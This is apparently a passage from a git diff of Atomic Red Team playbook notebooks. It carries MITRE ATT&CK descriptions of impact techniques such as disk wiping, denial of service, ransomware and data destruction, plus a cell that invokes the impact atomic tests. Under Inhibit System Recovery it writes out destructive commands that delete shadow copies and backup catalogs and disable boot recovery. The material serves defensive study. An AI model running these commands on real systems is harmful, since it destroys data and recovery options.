Wipe | Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\nT1498.001 | Direct Network Flood | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\nT1491.002 | External Defacement | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)\nT1499.001 | OS Exhaustion Flood | Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)\nT1499.003 | Application Exhaustion Flood | Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)\nT1561 | Disk Wipe | Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)\nT1565.001 | Stored Data Manipulation | Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1489 | Service Stop | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\nT1499.004 | Application or System Exploitation | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. \nT1565.003 | Runtime Data Manipulation | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1498.002 | Reflection Amplification | Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)\nT1499.002 | Service Exhaustion Flood | Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\nT1491 | Defacement | Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n\nT1657 | Financial Theft | Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening public exposure unless payment is made to the adversary.(Citation: Mandiant-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)\nT1491.001 | Internal Defacement | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)\nT1565 | Data Manipulation | Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1531 | Account Access Removal | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \nT1486 | Data Encrypted for Impact | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)\nT1499 | Endpoint Denial of Service | Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n\nT1496 | Resource Hijacking | Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)\nT1565.002 | Transmitted Data Manipulation | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1485 | Data Destruction | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)\nT1498 | Network Denial of Service | Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\nT1495 | Firmware Corruption | Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). \nT1490 | Inhibit System Recovery | Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\nT1561.001 | Disk Content Wipe | Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\nT1529 | System Shutdown/Reboot | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)" }, { "cell_type": "code", "execution_count": null, - "id": "fea6637c", + "id": "b95621f8", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic impact" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1485.ipynb b/playbook/tactics/impact/T1485.ipynb index 9301e921..609eb4b8 100644 --- a/playbook/tactics/impact/T1485.ipynb +++ b/playbook/tactics/impact/T1485.ipynb @@ -2,70 +2,70 @@ "cells": [ { "cell_type": "markdown", - "id": "b53cdfb3", + "id": "4f2a28ac", "metadata": {}, "source": "# T1485 - Data Destruction\nAdversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other 